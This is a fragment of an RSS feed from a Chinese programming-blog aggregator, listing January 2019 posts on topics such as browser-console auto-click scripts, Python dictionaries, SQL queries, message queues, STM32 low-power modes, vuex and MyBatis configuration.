      <link>https://bchobby.github.io/posts/91a5b1192c012fa1bfb63226a4c9a76e/</link>
      <pubDate>Wed, 16 Jan 2019 17:08:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/91a5b1192c012fa1bfb63226a4c9a76e/</guid>
      <description>目录&#xA;一、在&#34;Elements&#34;中获取页面元素&#xA;二、来到“Console”写脚本，写完之后直接Enter键就行了&#xA;三、其他用处待开发&#xA;来个网址测试。&#xA;https://www.baidu.com/s?ie=utf-8&amp;amp;f=8&amp;amp;rsv_bp=1&amp;amp;tn=baidu&amp;amp;wd=我是高数老师&amp;amp;oq=%25E5%25A6%2582%25E4%25BD%2595%25E8%258E%25B7%25E5%258F%2596%25E4%25B8%2580%25E4%25B8%25AA%25E8%258B%25B9%25E6%259E%259C%25E6%2589%258B%25E6%259C%25BA%25E7%259A%2584%25E8%25AF%25B7%25E6%25B1%2582&amp;amp;rsv_pq=a04796fb0004cbe5&amp;amp;rsv_t=4f7ftRnYcQXggs3pxvC41fqaYTYd5hD1365xgbwlil1QJf5h7m93hpf9WEE&amp;amp;rqlang=cn&amp;amp;rsv_enter=1&amp;amp;inputT=5100&amp;amp;rsv_sug3=107&amp;amp;rsv_sug1=55&amp;amp;rsv_sug7=100&amp;amp;rsv_sug2=0&amp;amp;rsv_sug4=5100&#xA;一、在&#34;Elements&#34;中获取页面元素 二、来到“Console”写脚本，写完之后直接Enter键就行了 实现功能：隔一秒点一下&#xA;基础版：setInterval(function(){document.getElementById(&#34;rush&#34;).click()}, 1000)&#xA;升级版：setInterval(function(){&#xA;if(Date.now()&amp;gt;new Date(&#34;2019-1-16 16:56:00&#34;)){&#xA;document.getElementsByClassName(&#34;opr-toplist1-refresh&#34;)[0].click();&#xA;}&#xA;}，1000)&#xA;三、其他用处待开发 参考着两篇文章&#xA;https://www.jianshu.com/p/8d28c0a7e4ff&#xA;https://www.sohu.com/a/136800738_495695</description>
    </item>
    <item>
      <title>【RPA入门教程】UIBot命令的基本操作</title>
      <link>https://bchobby.github.io/posts/fc6fd1862e515392fe665596a2e82e6b/</link>
      <pubDate>Wed, 16 Jan 2019 05:26:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fc6fd1862e515392fe665596a2e82e6b/</guid>
      <description>这篇教程给大家介绍下UIBot的命令的相关操作，插入命令、删除命令、移动命令等等&#xA;下图就是UIBot的主要编辑界面&#xA;看到这样的界面，估计不少人都是一脸懵逼&#xA;来来来~这里就教大家一些基础的姿势&#xA;1、命令的插入&#xA;在界面左侧就是命令的列表，分为了不同的类别，点开不同的分类就会展开具体的命令&#xA;插入命令的方式有两种，第一种就是直接双击你想要插入的命令，如果编辑视图中有已经选中的代码，那会自动插入到选中的代码下一行，否则会插入到代码最后一行&#xA;第二种是鼠标拖动，可以把命令直接拖动到你想要插入的位置&#xA;2、命令移动&#xA;编辑过程中难免需要调整代码位置。只需要直接用鼠标选中命令后拖动到想要的位置就能完成命令的移动了&#xA;3、命令删除&#xA;在可视化视图中选中命令，按键盘上的DEL就能删除这条命令&#xA;按住ctrl+鼠标左键能间隔选择多条命令，按住Shift能选择连续多条命令，再按DEL就能批量删除&#xA;4、复制、剪切命令 选中命令，按ctrl+c复制命令，按ctrl+x剪切命令，选中要插入的位置按ctrl+v粘贴命令&#xA;这些就是命令的基础操作拉，大家学会了吗？如果还没学会，那就……&#xA;现在下载 还有机会参与到我们的活动当中！ 还等什么？赶快来体验！&#xA;活动期间（1月16日至2月5日）下载注册登录UiBot不仅有机会可以和产品大牛、技术大神亲密接触，还有更多高级培训课程、个人版年卡等丰厚奖品等你来拿。&#xA;我们每一次努力 只为让用户获得更好的体验！&#xA;因为专业，所以更好 UiBot，流程自动化专家&#xA;转载于:https://juejin.im/post/5c3ebfd56fb9a049bb7c9991</description>
    </item>
    <item>
      <title>Python 字典 items()方法的简单解析与用法</title>
      <link>https://bchobby.github.io/posts/5e5083dc1b0ab743e83fd47114bf3d23/</link>
      <pubDate>Tue, 15 Jan 2019 21:25:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5e5083dc1b0ab743e83fd47114bf3d23/</guid>
      <description> Python 字典 items() 函数作用：以列表返回可遍历的(键, 值) 元组数组。&#xA;items()方法语法：&#xA;dict.items() 实例：&#xA;dict = {&#39;老大&#39;:&#39;15岁&#39;, &#39;老二&#39;:&#39;14岁&#39;, &#39;老三&#39;:&#39;2岁&#39;, &#39;老四&#39;:&#39;在墙上&#39; } print(dict.items()) for key,values in dict.items(): print(key + &#39;已经&#39; + values + &#39;了&#39;) 以上实例输出结果为：&#xA;dict_items([(&#39;老大&#39;, &#39;15岁&#39;), (&#39;老二&#39;, &#39;14岁&#39;), (&#39;老三&#39;, &#39;2岁&#39;), (&#39;老四&#39;, &#39;在墙上&#39;)]) 老大已经15岁了 老二已经14岁了 老三已经2岁了 老四已经在墙上了了 </description>
    </item>
    <item>
      <title>R源代码研究——逻辑回归logistic regression</title>
      <link>https://bchobby.github.io/posts/243b12abf031dfb7662dda404e863487/</link>
      <pubDate>Tue, 15 Jan 2019 18:54:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/243b12abf031dfb7662dda404e863487/</guid>
      <description>概述 R中逻辑回归用过很多次了，最近突然想对其源代码探究一二，以便更好理解该算法。此文章记录了R中逻辑回归的源代码的研究理解，如果有任何问题或错误欢迎各位读者提出。&#xA;建议：此篇文章主要以介绍代码实现为重点，会穿插理论知识。建议读者可以先大致了解逻辑回归理论再读此文。&#xA;R中实现逻辑回归可以通过调用glm函数实现，R中对该函数的使用方法及描述如下:&#xA;glm(formula, family = gaussian, data, weights, subset, na.action, start = NULL, etastart, mustart, offset, control = list(...), model = TRUE, method = &#34;glm.fit&#34;, x = FALSE, y = TRUE, contrasts = NULL, ...) glm is used to fit generalized linear models, specified by giving a symbolic description of the linear predictor and a description of the error distribution.&#xA;可见glm函数实际是用于广义线性模型的拟合，通过指定参数可以实现逻辑回归（实际逻辑回归属于广义线性回归的一种），简单介绍一下广义线性回归：&#xA;其中g(y)称为链接函数link function。其中逻辑回归的link function为&#xA;样例 以下是一个实现逻辑回归的代码样例，family = binomial(link = &#34;</description>
    </item>
    <item>
      <title>7-14 用$字符替换字符串中的数字字符 （10 分）</title>
      <link>https://bchobby.github.io/posts/a802cb17310c2bc818fa5cb7ea17c41f/</link>
      <pubDate>Tue, 15 Jan 2019 14:15:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a802cb17310c2bc818fa5cb7ea17c41f/</guid>
      <description>7-14 用$字符替换字符串中的数字字符 （10 分） 作者: 时贵英&#xA;单位: 东北石油大学&#xA;时间限制: 400 ms&#xA;内存限制: 64 MB&#xA;代码长度限制: 16 KB&#xA;输入一个字符串，用$字符替换字符串中的数字字符。&#xA;输入格式: 输入一个长度不超过20的包含数字字符的字符串。&#xA;输出格式: 输出将字符串中的每一个数字字符都替换成一个$字符后的字符串。&#xA;输入样例: 在这里给出一组输入。例如： abc0AB9 输出样例:&#xA;在这里给出相应的输出。例如： abc$AB$ 代码： #include &amp;lt;stdio.h&amp;gt; #include &amp;lt;string.h&amp;gt; int main() { char a[21]; char b[21]; gets(a); int length = strlen(a); for (int i = 0; i &amp;lt; length; i++) { if (a[i] &amp;gt;= &#39;0&#39; &amp;amp;&amp;amp; a[i] &amp;lt;= &#39;9&#39;) { a[i] = &#39;$&#39;; } } printf(&#34;</description>
    </item>
    <item>
      <title>浅谈 ViewModel 的生命周期控制</title>
      <link>https://bchobby.github.io/posts/ff7fc2d0dc1bb5b794c4be6bae54cb61/</link>
      <pubDate>Tue, 15 Jan 2019 09:59:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ff7fc2d0dc1bb5b794c4be6bae54cb61/</guid>
      <description>1、从一个 Bug 说起 想必有过一定开发经验的同学对 ViewModel 都不会陌生，它是 Google 推出的 MVVM 架构模式的一部分。这里它的基础使用我们就不介绍了，毕竟这种类型的文章也遍地都是。今天我们着重来探讨一下它的生命周期。&#xA;起因是这样的，昨天在修复程序中的 Bug 的时候遇到了一个异常，是从 ViewModel 中获取存储的数据的时候报了空指针。我启用了开发者模式的 “不保留活动” 之后很容易地重现了这个异常。出现错误的原因也很简单，相关的代码如下：&#xA;private ReceiptViewerViewModel viewModel; @Override protected void doCreateView(Bundle savedInstanceState) { viewModel = ViewModelProviders.of(this).get(ReceiptViewerViewModel.class); // 1 handleIntent(savedInstanceState); // ... } private void handleIntent(Bundle savedInstanceState) { LoadingStatus loadingStatus; if (savedInstanceState == null) { loadingStatus = (LoadingStatus) getIntent().getSerializableExtra(Router.RECEIPT_VIEWER_LOADING_STATUS); } viewModel.setLoadingStatus(loadingStatus); } 复制代码 在方法 doCreateView() 中我获取了 viewModel 实例，然后在 handleIntent() 方法中从 Intent 中取出传入的参数。当然，还要使用 viewModel 的 getter 方法从其中取出 loadingStatus 并使用。在使用的时候抛了空指针。</description>
    </item>
    <item>
      <title>有赞sql题</title>
      <link>https://bchobby.github.io/posts/418e784782b5fe36e0c6e6b77b854251/</link>
      <pubDate>Mon, 14 Jan 2019 20:49:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/418e784782b5fe36e0c6e6b77b854251/</guid>
      <description>存在一张电商交易订单表order如下:&#xA;id order_no shop_id user_id create_time&#xA;1 E10001 201 101 2018-09-01 12:00:00&#xA;2 E10002 202 102 2018-09-01 12:01:00&#xA;3 E10003 201 103 2018-09-01 12:03:00&#xA;统计订单销量(订单量)前十的店铺及到目前的订单量(一行记录算一个订单,&#xA;order_no唯一)的sql:&#xA;题目不难，巩固一下：&#xA;create table order( id int primary key auto_increment, order_no varchar(20), shop_id int, user_id int, create_time datetime ); insert into youzan values(1,&#39;E10001&#39;,201,101,&#39;2018-09-01 12:00:00&#39;); insert into youzan values(2,&#39;E10002&#39;,202,102,&#39;2018-09-01 12:01:00&#39;); insert into youzan values(3,&#39;E10003&#39;,203,103,&#39;2018-09-01 12:03:00&#39;); select shop_id,count(*) as num from youzan group by shop_id order by num desc limit 10; MySQL的Limit子句</description>
    </item>
    <item>
      <title>MQ详解及四大MQ比较</title>
      <link>https://bchobby.github.io/posts/cf52e925ff35e5867658e3f3ade1cdb8/</link>
      <pubDate>Fri, 11 Jan 2019 20:58:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cf52e925ff35e5867658e3f3ade1cdb8/</guid>
      <description>一、消息中间件相关知识 1、概述 消息队列已经逐渐成为企业IT系统内部通信的核心手段。它具有低耦合、可靠投递、广播、流量控制、最终一致性等一系列功能，成为异步RPC的主要手段之一。当今市面上有很多主流的消息中间件，如老牌的ActiveMQ、RabbitMQ，炙手可热的Kafka，阿里巴巴自主开发RocketMQ等。&#xA;2、消息中间件的组成 2.1 Broker&#xA;消息服务器，作为server提供消息核心服务&#xA;2.2 Producer&#xA;消息生产者，业务的发起方，负责生产消息传输给broker，&#xA;2.3 Consumer&#xA;消息消费者，业务的处理方，负责从broker获取消息并进行业务逻辑处理&#xA;2.4 Topic&#xA;主题，发布订阅模式下的消息统一汇集地，不同生产者向topic发送消息，由MQ服务器分发到不同的订阅者，实现消息的 广播&#xA;2.5 Queue&#xA;队列，PTP模式下，特定生产者向特定queue发送消息，消费者订阅特定的queue完成指定消息的接收&#xA;2.6 Message&#xA;消息体，根据不同通信协议定义的固定格式进行编码的数据包，来封装业务数据，实现消息的传输&#xA;3 消息中间件模式分类 3.1 点对点&#xA;PTP点对点:使用queue作为通信载体 说明： 消息生产者生产消息发送到queue中，然后消息消费者从queue中取出并且消费消息。 消息被消费以后，queue中不再存储，所以消息消费者不可能消费到已经被消费的消息。 Queue支持存在多个消费者，但是对一个消息而言，只会有一个消费者可以消费。&#xA;3.2 发布/订阅&#xA;Pub/Sub发布订阅（广播）：使用topic作为通信载体 说明： 消息生产者（发布）将消息发布到topic中，同时有多个消息消费者（订阅）消费该消息。和点对点方式不同，发布到topic的消息会被所有订阅者消费。&#xA;queue实现了负载均衡，将producer生产的消息发送到消息队列中，由多个消费者消费。但一个消息只能被一个消费者接受，当没有消费者可用时，这个消息会被保存直到有一个可用的消费者。 topic实现了发布和订阅，当你发布一个消息，所有订阅这个topic的服务都能得到这个消息，所以从1到N个订阅者都能得到一个消息的拷贝。&#xA;4 消息中间件的优势 4.1 系统解耦&#xA;交互系统之间没有直接的调用关系，只是通过消息传输，故系统侵入性不强，耦合度低。&#xA;4.2 提高系统响应时间&#xA;例如原来的一套逻辑，完成支付可能涉及先修改订单状态、计算会员积分、通知物流配送几个逻辑才能完成；通过MQ架构设计，就可将紧急重要（需要立刻响应）的业务放到该调用方法中，响应要求不高的使用消息队列，放到MQ队列中，供消费者处理。&#xA;4.3 为大数据处理架构提供服务&#xA;通过消息作为整合，大数据的背景下，消息队列还与实时处理架构整合，为数据处理提供性能支持。&#xA;4.4 Java消息服务——JMS&#xA;Java消息服务（Java Message Service，JMS）应用程序接口是一个Java平台中关于面向消息中间件（MOM）的API，用于在两个应用程序之间，或分布式系统中发送消息，进行异步通信。 JMS中的P2P和Pub/Sub消息模式：点对点（point to point， queue）与发布订阅（publish/subscribe，topic）最初是由JMS定义的。这两种模式主要区别或解决的问题就是发送到队列的消息能否重复消费(多订阅)。&#xA;5 消息中间件应用场景 5.1 异步通信&#xA;有些业务不想也不需要立即处理消息。消息队列提供了异步处理机制，允许用户把一个消息放入队列，但并不立即处理它。想向队列中放入多少消息就放多少，然后在需要的时候再去处理它们。&#xA;5.2 解耦&#xA;降低工程间的强依赖程度，针对异构系统进行适配。在项目启动之初来预测将来项目会碰到什么需求，是极其困难的。通过消息系统在处理过程中间插入了一个隐含的、基于数据的接口层，两边的处理过程都要实现这一接口，当应用发生变化时，可以独立的扩展或修改两边的处理过程，只要确保它们遵守同样的接口约束。&#xA;5.3 冗余</description>
    </item>
    <item>
      <title>多数据源切换-Druid</title>
      <link>https://bchobby.github.io/posts/aa7c6f3d564297b40efa3186584f65a0/</link>
      <pubDate>Fri, 11 Jan 2019 16:15:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aa7c6f3d564297b40efa3186584f65a0/</guid>
      <description>这是实际应用场景中的多数据源切换案例&#xA;逻辑思路如下：&#xA;1.系统初始化，加载所有数据库中配置的数据源，加载进去spring容器&#xA;2.通过两种方法切换数据源：&#xA;2.1MultipleDataSource.setDataSourceKey(dataSourceKey);//切换 MultipleDataSource.clearDataSourceKey();//清除当前数据源并且还原到默认数据库 2.2使用@SwitchDataSource(name=&#34;dateSourceKey&#34;)注解&#xA;&amp;lt;beans&amp;gt; &amp;lt;-- 配置默认数据源 --&amp;gt; &amp;lt;context:property-placeholder location=&#34;classpath*:jdbc.properties&#34;/&amp;gt; &amp;lt;bean id=&#34;dataSource&#34; class=&#34;com.alibaba.druid.pool.DruidDataSource&#34; init-method=&#34;init&#34; destroy-method=&#34;close&#34;&amp;gt; &amp;lt;property name=&#34;driverClassName&#34; value=&#34;${jdbc.driverClassName}&#34;/&amp;gt; &amp;lt;property name=&#34;url&#34; value=&#34;${jdbc.url}&#34;/&amp;gt; &amp;lt;property name=&#34;username&#34; value=&#34;${jdbc.username}&#34;/&amp;gt; &amp;lt;property name=&#34;password&#34; value=&#34;${jdbc.password}&#34;/&amp;gt; &amp;lt;property name=&#34;minIdle&#34; value=&#34;${rapid.jdbcPool.minPoolSize}&#34;/&amp;gt; &amp;lt;property name=&#34;maxActive&#34; value=&#34;${rapid.jdbcPool.maxPoolSize}&#34;/&amp;gt; &amp;lt;property name=&#34;initialSize&#34; value=&#34;${rapid.jdbcPool.initialPoolSize}&#34;/&amp;gt;&amp;lt;!-- 初始化时建立物理连接的个数。初始化发生在显示调用init方法，或者第一次getConnection时,default=0 --&amp;gt; &amp;lt;property name=&#34;maxWait&#34; value=&#34;${rapid.jdbcPool.maxWait}&#34;/&amp;gt;&amp;lt;!-- 获取连接时最大等待时间，单位毫秒。配置了maxWait之后，缺省启用公平锁，并发效率会有所下降，如果需要可以通过配置useUnfairLock属性为true使用非公平锁 --&amp;gt; &amp;lt;property name=&#34;timeBetweenEvictionRunsMillis&#34; value=&#34;${rapid.jdbcPool.timeBetweenEvictionRunsMillise}&#34;/&amp;gt;&amp;lt;!-- 配置间隔多久才进行一次检测，检测需要关闭的空闲连接，毫秒 --&amp;gt; &amp;lt;property name=&#34;minEvictableIdleTimeMillis&#34; value=&#34;${rapid.jdbcPool.minEvictableIdleTimeMillis}&#34;/&amp;gt;&amp;lt;!-- 配置一个连接在池中最小生存的时间，毫秒 --&amp;gt; &amp;lt;!-- 建议配置为true，不影响性能，并且保证安全性。申请连接的时候检测，如果空闲时间大于 timeBetweenEvictionRunsMillis，执行validationQuery检测连接是否有效 --&amp;gt; &amp;lt;property name=&#34;testWhileIdle&#34; value=&#34;${rapid.jdbcPool.testWhileIdle}&#34;/&amp;gt; &amp;lt;property name=&#34;testOnBorrow&#34; value=&#34;false&#34;/&amp;gt; &amp;lt;property name=&#34;testOnReturn&#34; value=&#34;false&#34;/&amp;gt; &amp;lt;!</description>
    </item>
    <item>
      <title>STM32进入STOP模式并唤醒实验总结</title>
      <link>https://bchobby.github.io/posts/80503e2d162bff836e9608d823040385/</link>
      <pubDate>Fri, 11 Jan 2019 12:09:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/80503e2d162bff836e9608d823040385/</guid>
      <description>项目需求，需要实现设备低功耗功能，实现过程中遇到几个问题，以此记录总结。（stm32f103ret6）&#xA;问题一：执行PWR_EnterSTOPMode(PWR_Regulator_LowPower,PWR_STOPEntry_WFI);后，程序继续执行，看到的现象像是没有进入休眠。 调试步骤：&#xA;1.关闭自己的时钟配置，调用启动函数中默认的SystemInit()&#xA;2.关闭相关外设初始化，只开启串口一以追踪程序运行流程和一个IO中断以唤醒&#xA;现象：能进入中断并且正常唤醒&#xA;3.换为调用自己的时钟，休眠不了，一步步打开相关时钟配置没问题直到开启了&#xA;SysTick_Config(SystemCoreClock / 1000 ） //1ms定时器&#xA;就休眠失败&#xA;源码贴图如下：&#xA;原因：开始以为把所有的外设中断关闭就没事了，其实系统时钟开了个1Ms的系统定时中断（功能需要）&#xA;【解决方式】：&#xA;方式一:.注释SysTick_Config(SystemCoreClock / 1000）&#xA;方式二:.在进入休眠之前,关闭系统定时器，清空计数值&#xA;SysTick-&amp;gt;CTRL = 0x00;//关闭定时器&#xA;SysTick-&amp;gt;VAL = 0x00;//清空val,清空定时器&#xA;功能需要不能关闭，选择方式二&#xA;【补充说明】：&#xA;SysTick系统定时器是属于CM3内核中的一个外设，内嵌在NVIC中。它是一个24bit的向下递减计数器，每计数一次的时间为1/SYSCLK。当重装载数值寄存器地见到0的时候，系统定时器就产生一次中断，依次循环反复。我的累计值是SystemCoreClock / 1000，所以中断就是1ms一次。&#xA;相比定时器中断，产生之后需要清中断标志位，但是系统时钟中断是没有的，开始怀疑是不是中断产生之后标志位是不会复位的，导致停止模式进入被忽略，程序继续执行。后面找资料发现每次systick溢出后会置位计数标志位和中断标志位，计数标志位在计数器重装载后被清除，而中断标志位也会随着中断服务程序的响应被清除，所以这两个标志位是不需要手动清除的。&#xA;具体为什么开启系统定时器之后不能进入停止模式还需要查找原因，在此也请各位网友赐教。&#xA;【发现应该是系统时钟中断一直是开启的，所以在中断标志位清掉之后，每到1ms就又产生一次中断，标志位重新被置位，导致停止模式进入被忽略，程序继续进行，把这个定时器关掉就好//add 2019.5.9】&#xA;【回复评论为什么定时中断不是外部中断却能唤醒停止模式的问题//add 20200713】&#xA;以上信息来自《CM3权威指南》13.2节电源管理&#xA;(FCLK是自由运行时钟，因为不来自系统时钟HCLK,所以再系统停止时FCLK也能继续运行)&#xA;问题二：成功进入休眠并退出后，串口打印失败 原因：&#xA;退出停止模式后，其他时钟还是保持原来的配置（原来我的配置是以外部高速时钟HSE不分频作为PLL时钟源,再经过9倍频得到，即72MHz，然后PLL作为系统时钟源，系统时钟一分频得到AHB总线时钟，AHB再 一分频作为高速总线时钟PCLK2，也就是72MHz，USART1用的就是高速总线时钟），这些配置是不会变的，但是退出停止模式后，内部高速时钟(HSI)默认变成了系统时钟源，造成时钟紊乱。&#xA;【其实不仅仅是串口，其他在进入停止模式之前的外设在退出停止模式之后都会工作不正常，重新配置系统时钟即可】&#xA;问题三：进入停止模式后整个电流还是很大 1.根据设备原理图查看IO外部引脚连接电路，闲置状态为低电平时，设置为下拉输入；闲置状态为高电平时，设置为上拉输入；闲置状态为悬空时设置为模拟输入；输出引脚根据功能需要设置就行&#xA;原因：当IO通过外围电路电阻接地被拉低时，如果设置为上拉输入，则在芯片内部的上拉电阻和外围的下拉电阻构成回路，电流损耗取决于这两个电阻；当IO通过外围电路电阻接电源被拉高时，则在芯片内部的下拉电阻和外围的上拉电阻构成回路，电流损耗也取决于这两个电阻；当悬空时，斯密特触发器是打开的，要判断输入的是高电平还是低电平，需要一点电流损耗，但是设备模拟输入，这个触发器是关闭的&#xA;2.排查外围电路，某些驱动、电源转换IC如果是由软件使能，如果进入停止模式之后不需要则关闭，因为本身就有工作电流；如果是由硬件使能，则需要查看芯片手册看静态工作电流是多少，如果比较高，只能修改硬件电路或者用低耗ic代替&#xA;3.外围是否有一些闭合回路，比如电压采集，虽然ADC已经关闭，但是这个分压电路还是有损耗的，大小一般取决于电阻和电源电压&#xA;4.另外如果在线调试时，进入停止模式后，调试失去作用，看看是不是SWDIO、SWCLK两个引脚也直接设置成了模拟输入，还关闭了调试功能：GPIO_PinRemapConfig(GPIO_Remap_SWJ_Disable, ENABLE);&#xA;5.设备运行时开启的外设功能，视情况关闭，可以依次关闭看电流减小情况，并和数据手册做对比(要先关功能，再失能对应外设时钟，否则会关闭不成功，会有电流损耗，试验图1就是以为关闭了ADC，实际没关闭成功的情况，最后为板子总电流为74uA)&#xA;RTC唤醒停止模式 外部中断功能已经实现，项目需求中另外还需要定时唤醒，现在选用RTC唤醒&#xA;EXTI有20个中断/事件线，每个GPIO都能被设置为输入线，占用EXTI0-EXTI15，有4根用于特定的外设事件触发&#xA;所以RTC的闹钟事件就能触发EXTI17中断（这就是为什么进入停止模式设置的是中断唤醒，但还能用RTC闹钟事件唤醒的原因，本质还是被外部中断唤醒）&#xA;全功能代码不需要改，在进入停止模式之前配置EXTI17中断，配置闹钟事件&#xA;/**************************************1.配置EXTI17中断*********************************/&#xA;EXTI_ClearITPendingBit(EXTI_Line17); //注意先清掉标志位，要不然可能会出现停止模式被忽略进 //入不了的问题，上面问题一截图有说明&#xA;EXTI_InitStructure.EXTI_Line = EXTI_Line17;&#xA;EXTI_InitStructure.EXTI_Mode = EXTI_Mode_Interrupt;&#xA;EXTI_InitStructure.EXTI_Trigger = EXTI_Trigger_Rising_Falling;</description>
    </item>
    <item>
      <title>vuex 传参</title>
      <link>https://bchobby.github.io/posts/36c2e230c4cec51256d189943ffe335e/</link>
      <pubDate>Fri, 11 Jan 2019 10:12:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/36c2e230c4cec51256d189943ffe335e/</guid>
      <description>图一 图二 图三&#xA;vue的项目，有一个填写资料的页面（图一），填写姓名，电话，特长啥的，然后特长是要跳转到第二个页面（图二）上的选择的，选择好了之后点击确定按钮，这个时候是要带着参数再回到之前的页面（图三）上的，一开始我这么跳转的&#xA;this.$router.push({path: &#39;release&#39;, query: {benefits: JSON.stringify(this.benefitsArr)}}); 但是这样子，就相当于是重新建了一个页面，返回的时候，就会要返回好多层，所以，我换了一种写法，直接返回上一页&#xA;this.$router.go(-1); 但是这样子，就传不了参数了啊，只能放缓存里了，搜了一下发现了vuex，下面是实战操作所总结的步骤&#xA;1.下载vuex，下载成功之后，可以在node_modules 看到vuex&#xA;npm install vuex --save 2.在src文件目录下新建 store 文件夹，目录结构如下:&#xA;import Vue from &#39;vue&#39;; import vuex from &#39;vuex&#39;; Vue.use(vuex); export default new vuex.Store({ state: { onshowCandyId: 1, benefits: &#39;&#39;, requirements: &#39;&#39; } }); 3.在 main.js 里面引入 store ，全局注入 ，方便在各个组件里面使用 this.$store 4.存储数据&#xA;this.$store.state.benefits = array; //存数据 console.log(&#39;vuex中存储的benefits&#39;, this.$store.state.benefits); //取数据 至此大功告成啦，本文只是浅谈vuex，详细流程请参考https://segmentfault.com/a/1190000015782272</description>
    </item>
    <item>
      <title>大于4GB镜像文件刻录方法</title>
      <link>https://bchobby.github.io/posts/0f5fa80c14392c43cf58f88813535bd0/</link>
      <pubDate>Thu, 10 Jan 2019 23:44:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0f5fa80c14392c43cf58f88813535bd0/</guid>
      <description>传统的Windows镜像文件中，不存在大于4G的单体文件。然而Win10镜像文件中install.wim大于4GB。&#xA;fat32格式无法存储，需要将文件格式改为NTFS格式。&#xA;使用ultraliso工具无法实现启动安装盘，可以使用rufus刻录工具。&#xA;select目标镜像后，按照如下设置后，选择start，等待刻录完成即可。</description>
    </item>
    <item>
      <title>CSS-实现图片靠左、靠右、居中显示</title>
      <link>https://bchobby.github.io/posts/c632249a3b4f900c6ebe3b71224390c5/</link>
      <pubDate>Thu, 10 Jan 2019 18:18:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c632249a3b4f900c6ebe3b71224390c5/</guid>
      <description> 通过在img标签外包一层具有text-align属性的元素，把图片当做文字来处理，如下：&#xA;&amp;lt;div&amp;gt; &amp;lt;img src=&#34;images/top1.jpg&#34; alt=&#34;这是一个图片&#34;&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;p&amp;gt; &amp;lt;img src=&#34;images/top2.jpg&#34; alt=&#34;这是一个图片&#34;&amp;gt; &amp;lt;/p&amp;gt; div div{ text-align: center; } p{ text-align: left; } img{ width: 20%; border-radius: 20px; } </description>
    </item>
    <item>
      <title>xorg-xserver相关完全解析</title>
      <link>https://bchobby.github.io/posts/cdc8d969c3e9eb8547ea0400a3670083/</link>
      <pubDate>Thu, 10 Jan 2019 14:58:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cdc8d969c3e9eb8547ea0400a3670083/</guid>
      <description>本文主要是从以下几个方面介绍xorg-xserver 相关的知识&#xA;1.linux系统图形界面框架&#xA;2.xserver 和x client启动过程&#xA;3.图形2d，3d加速原理简介&#xA;4.xserver主分支代码解析。&#xA;5.xserver,xclient协议简介&#xA;6.一个基于Xlib的简单例子解析&#xA;7.radeon驱动初始化代码解析.&#xA;1.linux图形界面框架&#xA;参考至：http://dzdl.ipchina.org/site/?uid-9-action-viewspace-itemid-49&#xA;linux图形界面又称x系统，其主要包含如下几个部分：&#xA;a）xserver&#xA;b)显示管理器 (Display Manager) 例如（gdm kdm xdm等）&#xA;c)窗口管理器 （Window Manager) 例如（metacity ,fluxbox等）&#xA;d)DM 和 WM之上的一些图形应用程序&#xA;在使用中一般都是b,c,d三者集合起来构成一个完整的集成工作环境，例如KDE ,GNOME等&#xA;,这就是我们平时所说的广义上的xclient&#xA;a)xserver 主要提供基本的显示接口共xclient使用，并将用户的操作等也反映给xclient，&#xA;是xclient与硬件的一个中间层。xserver相关的两个主要部分是&#xA;(1) xorg.conf&#xA;xorg.conf是X Server的主要配置文件，它包含一个当前系统的硬件资源列表。X Server就是根据这些硬件资源“组织”出基本的图形能力。xorg.conf文件在/etc/X11/xorg.conf，主要包含几个字段：&#xA;Files: X系统使用的字体存放目录(字体的具体使用由FontConfig工具主持)&#xA;InputDevice: 输入设备，如键盘鼠标的信息&#xA;Monitor: 显示器的设置，如分辨率，刷新率等&#xA;Device: 显示卡信息&#xA;Screen: 由Monitor和Device组装成一个Screen，表示由它们向这个Screen提供输出能力&#xA;ServerLayout: 将一个Screen和InputDevice组装成一个ServerLayout&#xA;在具有多个显示设备的系统中，可能有多个Screen和多个ServerLayout，用以实现不同的硬件搭配。&#xA;在最近的xorg版本中，X Server已经开始自动侦测硬件，现在的xorg.conf已经都成了默认名称。具体细节还待查，但基本原理还是不变的。&#xA;(2) X session(X会话)&#xA;X session是指X server启动后直到X server关闭之间的这段时间。这期间一切跟X相关的动作都属于X session的内容。管理X session的程序称为Display Manager，常听说的gdm或kdm就是gnome/kde所分别对应的Display Manager。&#xA;开启一个X session，也就是开始了图形界面的使用。在开启的过程中，Display Manager会对用户进行认证(也就是用户名密码的输入)，运行事先设置好的程序(比如scim输入法就是这个时候启动的)等等。</description>
    </item>
    <item>
      <title>mybatis读写分离</title>
      <link>https://bchobby.github.io/posts/da3cffee105e3f49010e78b60c93fe53/</link>
      <pubDate>Thu, 10 Jan 2019 11:23:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/da3cffee105e3f49010e78b60c93fe53/</guid>
      <description>mybatis读写分离实现方式有很多种，当然如果没有太过复杂的处理，可以使用阿里云数据库自带的读写分离连接，那样会更加简洁。本文主要对mybatis实现读写分离。主要的实现方式有一下四种：&#xA;方案1 通过MyBatis配置文件创建读写分离两个DataSource，每个SqlSessionFactoryBean对象的mapperLocations属性制定两个读写数据源的配置文件。将所有读的操作配置在读文件中，所有写的操作配置在写文件中。&#xA;优点：实现简单&#xA;缺点：维护麻烦，需要对原有的xml文件进行重新修改，不支持多读，不易扩展&#xA;&amp;lt;bean id=&#34;abstractDataSource&#34; abstract=&#34;true&#34; class=&#34;com.alibaba.druid.pool.DruidDataSource&#34; init-method=&#34;init&#34; destroy-method=&#34;close&#34;&amp;gt; &amp;lt;property name=&#34;driverClassName&#34; value=&#34;com.microsoft.sqlserver.jdbc.SQLServerDriver&#34;/&amp;gt; &amp;lt;!-- 配置获取连接等待超时的时间 --&amp;gt; &amp;lt;property name=&#34;maxWait&#34; value=&#34;60000&#34;/&amp;gt; &amp;lt;!-- 配置间隔多久才进行一次检测，检测需要关闭的空闲连接，单位是毫秒 --&amp;gt; &amp;lt;property 